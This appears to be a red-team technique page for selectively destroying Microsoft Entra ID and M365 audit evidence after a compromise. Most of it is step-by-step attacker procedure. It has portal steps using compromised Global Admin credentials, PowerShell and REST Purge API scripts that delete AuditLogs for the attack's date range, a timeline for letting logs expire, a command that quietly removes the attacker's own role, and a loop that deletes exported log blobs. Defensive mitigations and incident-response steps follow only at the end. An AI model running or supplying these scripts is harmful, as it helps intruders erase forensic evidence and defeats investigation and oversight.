MCADDF

[REALWORLD-038]: Audit Log Selective Deletion

Metadata

Attribute Details
Technique ID REALWORLD-038
MITRE ATT&CK v18.1 T1070.001 - Indicator Removal / Clear Logs
Tactic Defense Evasion
Platforms M365, Entra ID
Severity CRITICAL
CVE N/A
Technique Status PARTIAL (Cloud immutable logs cannot be deleted; selective removal from exported logs is possible)
Last Verified 2025-01-10
Affected Versions All versions of Entra ID / M365 (30-730 day retention enforced by Microsoft)
Patched In N/A - Enforced by Microsoft architecture
Author SERVTEP – Artur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: This real-world technique involves selectively removing or obscuring evidence from Microsoft Entra ID and Microsoft 365 audit logs. While cloud-native audit logs (stored in Microsoft’s immutable infrastructure) cannot be directly deleted by customers, attackers can delete logs from third-party SIEM systems or log repositories where those logs were exported or streamed. Additionally, attackers can exploit the 30-730 day retention window by waiting for logs to age out of retention, effectively erasing evidence of their activities. This is a sophisticated cover-up technique used after compromise to remove forensic evidence.

Attack Surface: Entra ID Audit Logs API, Purview Unified Audit Log (UAE), Log Analytics Workspaces, third-party SIEM systems (Splunk, ELK), Azure Storage Accounts where logs were archived.

Business Impact: Loss of forensic evidence for incident response. Attackers can remove audit trails of their privilege escalation, lateral movement, and exfiltration activities, making it impossible for incident responders to understand the full scope of the compromise or identify how the attacker gained access. This directly impacts legal discovery in breach notifications and regulatory investigations (GDPR, SOC 2, etc.).

Technical Context: Cloud-native Entra ID audit logs are technically immutable, but the attack vectors involve: (1) Purging exported logs from Log Analytics, (2) Deleting logs from third-party SIEM systems, (3) Waiting for retention periods to expire, (4) Deleting the entire Log Analytics workspace. This attack typically takes 5-15 minutes to execute. Detection likelihood is HIGH if log deletion monitoring is enabled, but many organizations do not monitor for deletion of their own audit archives.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS Azure 5.1.1 Ensure that activity logging is enabled for all subscriptions and log retention is adequate.
DISA STIG SI-12 Information Management and Protection - Ensure immutable log storage.
CISA SCuBA SA-4(2) System administrators must maintain audit trails in a centralized, protected repository.
NIST 800-53 AU-2, AU-6 Audit and Accountability - Ensure audit logs are protected and monitored.
GDPR Art. 32, Art. 33 Inability to investigate a breach violates security and breach notification obligations.
DORA Art. 9, Art. 10 Entities must maintain audit trails for incident detection and response.
NIS2 Art. 21 Cyber risk management requires audit log protection and analysis.
ISO 27001 A.12.4.1, A.12.4.2 Event logging and log protection are mandatory controls.
ISO 27005 Risk Scenario: “Loss of Forensic Evidence” Deletion of audit logs prevents incident investigation.

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:

3. ENVIRONMENTAL RECONNAISSANCE

PowerShell Reconnaissance

# Connect to Azure
Connect-AzAccount

# Get list of Log Analytics workspaces (where audit logs are stored)
Get-AzOperationalInsightsWorkspace | Select-Object Name, ResourceGroupName, Location, ProvisioningState

# Check retention settings for a specific workspace
$workspace = Get-AzOperationalInsightsWorkspace -Name "YourWorkspaceName" -ResourceGroupName "YourResourceGroup"
$workspace.RetentionInDays

# Check if there are any data retention policies
Get-AzOperationalInsightsTable -WorkspaceName $workspace.Name -ResourceGroupName $workspace.ResourceGroupName | Select-Object Name, RetentionInDays

What to Look For:

Version Note: Retention settings are consistent across all versions but cannot be lowered by customers—Microsoft enforces minimum retention.

Azure CLI Reconnaissance

# List all Log Analytics workspaces
az monitor log-analytics workspace list --query "[].{Name:name, RetentionDays:retentionInDays}"

# Get detailed information about a specific workspace
az monitor log-analytics workspace show --resource-group YourResourceGroup --workspace-name YourWorkspaceName

# Check if there are any data export rules (logs exported to external system)
az monitor log-analytics workspace data-export list --resource-group YourResourceGroup --workspace-name YourWorkspaceName

What to Look For:

4. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1: Deleting Audit Logs from Log Analytics Workspace (Portal GUI)

Supported Versions: All versions of Entra ID / M365

Step 1: Navigate to Log Analytics Workspace

Objective: Access the Log Analytics workspace where Entra ID audit logs are stored.

Manual Steps (Azure Portal GUI):

  1. Navigate to https://portal.azure.com
  2. Authenticate with compromised Global Admin credentials
  3. Use the search bar to search for “Log Analytics workspaces”
  4. Click on the workspace containing your audit logs (typically named DefaultWorkspace-{TenantID} or custom name)
  5. You are now in the workspace overview page

Expected Output:

What This Means:

Step 2: Access the “Delete Data” Feature

Objective: Navigate to the log deletion interface.

Manual Steps (Azure Portal GUI):

  1. In the Log Analytics workspace, click “Delete Data” from the left pane (under “General”)
  2. You may see an option to delete specific tables or configure data retention
  3. Under “Data Retention”, click “Edit” to modify retention settings
    • Default: 30 days
    • Maximum: 730 days
    • Minimum: 7 days (cannot be lowered below 7 days)
  4. To delete data immediately, use the “Delete Data” option (if available)

Expected Output:

What This Means:

OpSec & Evasion:

Step 3: Delete Specific Audit Log Tables

Objective: Remove specific tables containing forensic evidence.

Tables to Target (High-Value for Deletion):

Manual Steps (Delete Specific Tables):

  1. In Log Analytics workspace, click “Tables” from the left pane
  2. Search for “AuditLogs” in the table list
  3. Right-click on the table name and select “Delete data” or “Purge data”
  4. Confirm the deletion (warning: this is irreversible)
  5. Repeat for other sensitive tables

Expected Output:

Purge operation started for table AuditLogs
Estimated completion time: 15 minutes

What This Means:

OpSec & Evasion:

Troubleshooting:

METHOD 2: Deleting Audit Logs via PowerShell (Purge API)

Supported Versions: All Entra ID versions

Step 1: Connect to Log Analytics

Objective: Establish authenticated PowerShell session with Log Analytics workspace.

Command:

# Connect to Azure
Connect-AzAccount

# Get the workspace object
$workspace = Get-AzOperationalInsightsWorkspace -Name "YourWorkspaceName" -ResourceGroupName "YourResourceGroup"

# Alternatively, set variables for use in API calls
$subscriptionId = "your-subscription-id"
$resourceGroupName = "YourResourceGroup"
$workspaceName = "YourWorkspaceName"
$workspaceId = $workspace.ResourceId

Expected Output:

Workspace Name: YourWorkspaceName
Location: eastus
Provisioning State: Succeeded

What This Means:

Step 2: Identify Logs to Delete by Date Range

Objective: Determine which logs contain forensic evidence of the attack.

Command (KQL Query to Find Relevant Logs):

# Query AuditLogs to see what's available and find the attack date range
$query = @"
AuditLogs
| where TimeGenerated > ago(90d)
| where OperationName contains "Assign role" or OperationName contains "Update"
| summarize Count=count() by bin(TimeGenerated, 1d)
| project TimeGenerated, Count
"@

# Execute the query against Log Analytics
$queryResults = Invoke-AzOperationalInsightsQuery -WorkspaceId $workspace.CustomerId -Query $query

$queryResults.Results | ForEach-Object {
    Write-Output "Date: $($_.TimeGenerated) - Count: $($_.Count) events"
}

Expected Output:

Date: 2025-01-10T00:00:00Z - Count: 523 events
Date: 2025-01-09T00:00:00Z - Count: 412 events
Date: 2025-01-08T00:00:00Z - Count: 298 events
...

What This Means:

Step 3: Execute Purge Operation via REST API

Objective: Directly invoke the Log Analytics Purge API to delete records.

Command:

# Get an access token for Log Analytics API
$token = (Get-AzAccessToken -ResourceUrl "https://api.loganalytics.io").Token

# Prepare purge request (delete logs from a specific date range)
$purgePayload = @{
    table = "AuditLogs"
    filters = @(
        @{
            column = "TimeGenerated"
            operator = "gt"
            value = "2025-01-08T00:00:00Z"
        },
        @{
            column = "TimeGenerated"
            operator = "lt"
            value = "2025-01-10T00:00:00Z"
        }
    )
} | ConvertTo-Json -Depth 10

# Purge the data
$purgeUri = "https://api.loganalytics.io/v1/workspaces/$($workspace.CustomerId)/purge"
$headers = @{
    "Authorization" = "Bearer $token"
    "Content-Type"  = "application/json"
}

$response = Invoke-RestMethod -Uri $purgeUri -Method POST -Headers $headers -Body $purgePayload

Write-Output "Purge Operation ID: $($response.operationId)"
Write-Output "Status: $($response.status)"

Expected Output:

Purge Operation ID: 10000000-0000-0000-0000-000000000000
Status: Pending

What This Means:

Troubleshooting:

OpSec & Evasion:

METHOD 3: Leveraging Retention Expiration (Passive Log Deletion)

Supported Versions: All Entra ID versions

Objective: Exploit the 30-day (default) retention window to naturally erase logs over time without active deletion.

Step 1: Understand Retention Architecture

How It Works:

Example Timeline:

Day 0:   Attacker compromises Global Admin account
Day 1-7: Attacker performs privilege escalation, lateral movement, exfiltration
Day 8-30: Attacker maintains low profile (minimal suspicious activity)
Day 31:  Microsoft automatically purges logs from Day 1-7
Day 32+: Logs of the attack no longer exist

Step 2: Minimize Detection During Retention Window

Objective: Remain undetected during the 30-day retention period so logs expire naturally.

Tactics:

Example Commands:

# On Day 27, quietly remove yourself from Global Admin role
Remove-AzRoleAssignment -ObjectId (Get-AzADUser -UserPrincipalName "attacker@company.com").Id `
    -RoleDefinitionName "Global Administrator" `
    -Scope "/subscriptions/$subscriptionId"

# Verify removal (so it appears as normal admin action)
Get-AzRoleAssignment -ObjectId (Get-AzADUser -UserPrincipalName "attacker@company.com").Id

What This Means:

OpSec & Evasion:

METHOD 4: Deleting from Third-Party SIEM (Splunk, Azure Monitor)

Supported Versions: All versions (depends on SIEM)

Objective: Delete logs that were exported or streamed to an external SIEM system where the organization may have longer retention.

Step 1: Identify SIEM Storage Location

Command (Check for Data Export from Log Analytics):

# List all data exports from the Log Analytics workspace
$exports = Get-AzOperationalInsightsDataExport -ResourceGroupName $resourceGroupName -WorkspaceName $workspaceName

foreach ($export in $exports) {
    Write-Output "Export Name: $($export.Name)"
    Write-Output "Destination: $($export.Destination)"
    Write-Output "Table: $($export.TableNames)"
}

Expected Output:

Export Name: SentinelExport-1
Destination: /subscriptions/xxxx/resourceGroups/YourResourceGroup/providers/Microsoft.Storage/storageAccounts/yourStorage/blobServices/default/containers/logs
Table: AuditLogs, SigninLogs

What This Means:

Step 2: Delete Exported Logs from Storage Account

Command (Delete Blobs from Azure Storage):

# Connect to the storage account
$storageAccount = Get-AzStorageAccount -ResourceGroupName "YourResourceGroup" -Name "yourStorage"
$context = $storageAccount.Context

# Get the container
$container = Get-AzStorageContainer -Name "logs" -Context $context

# List blobs in the container
$blobs = Get-AzStorageBlob -Container "logs" -Context $context

# Delete specific date ranges
foreach ($blob in $blobs) {
    # Extract date from blob path (format: yyyy/mm/dd/...)
    if ($blob.Name -match "2025/01/(08|09|10)/") {  # Delete Jan 8-10
        Remove-AzStorageBlob -Blob $blob.Name -Container "logs" -Context $context -Force
        Write-Output "Deleted: $($blob.Name)"
    }
}

Expected Output:

Deleted: 2025/01/08/audit_logs_001.json
Deleted: 2025/01/08/audit_logs_002.json
Deleted: 2025/01/09/audit_logs_001.json
...

What This Means:

OpSec & Evasion:

5. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Verify immutable storage is enabled
Get-AzStorageContainerImmutabilityPolicy -Container "audit-logs-immutable" -Context $context

# Verify RBAC is restricted
Get-AzRoleAssignment -Scope "/subscriptions/$subscriptionId/resourceGroups/$rg/providers/Microsoft.OperationalInsights/workspaces/$workspace" | Where-Object {$_.RoleDefinitionName -in "Owner", "Contributor"}

# Verify data export is configured
Get-AzOperationalInsightsDataExport -ResourceGroupName $rg -WorkspaceName $workspace | Select-Object Name, Destination

Expected Output (If Secure):

Export Name: Immutable-Archive
Destination: /subscriptions/xxxx/resourceGroups/xxxx/providers/Microsoft.Storage/storageAccounts/immutableStorage/blobServices/default/containers/audit-logs-immutable

6. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Immediately revoke the compromised admin account’s access: 
      Update-MgUser -UserId "attacker@company.com" -AccountEnabled:$false
Revoke-MgUserSignInSession -UserId "attacker@company.com"
  2. Collect Evidence:
    • Export all remaining audit logs from the workspace
    • Check Activity Log for workspace deletion operations
    • Pull logs from any immutable backups or external SIEM
    • Document the exact date/time of log deletion
  3. Restore:
    • If logs were deleted: Check immutable blob storage or external SIEM for copies
    • If workspace was deleted: Restore from backup if available
    • Re-enable log export to immutable storage
  4. Investigate:
    • Determine what logs are MISSING (the gap in the timeline)
    • Use the gap to identify when the attacker was active
    • Cross-reference with other data sources (EDR, proxy logs, etc.) to reconstruct timeline
    • Identify what the attacker likely did during the gap (privilege escalation, lateral movement, exfiltration)
  5. Escalate:
    • File incident ticket
    • Notify CISO and legal team
    • Initiate eDiscovery to preserve logs for legal proceedings
Step Phase Technique Description
1 Initial Access T1566.002 Phishing Attacker gains initial access via phishing email
2 Privilege Escalation T1078.004 Abuse Valid Accounts Attacker escalates to Global Admin via PIM or MFA bypass
3 Defense Evasion [REALWORLD-037] Sentinel Rule Modification Attacker disables detection rules to avoid alerts
4 Persistence & Exfiltration T1020 Automated Exfiltration Attacker exfiltrates data while rules are disabled
5 Defense Evasion [REALWORLD-038] Audit Log Selective Deletion Attacker deletes logs to cover tracks
6 Impact T1531 Account Access Removal Attacker removes their own access to avoid detection

8. REAL-WORLD EXAMPLES

Example 1: Lapsus$ Campaign (2022-2023)

Example 2: Scattered Spider (2024-Present)

9. COMPLIANCE & AUDIT FINDINGS

This technique results in failure of:

Organizations found with this vulnerability should document as “Critical” and implement immutable log retention immediately.

This site is open source. Improve this page.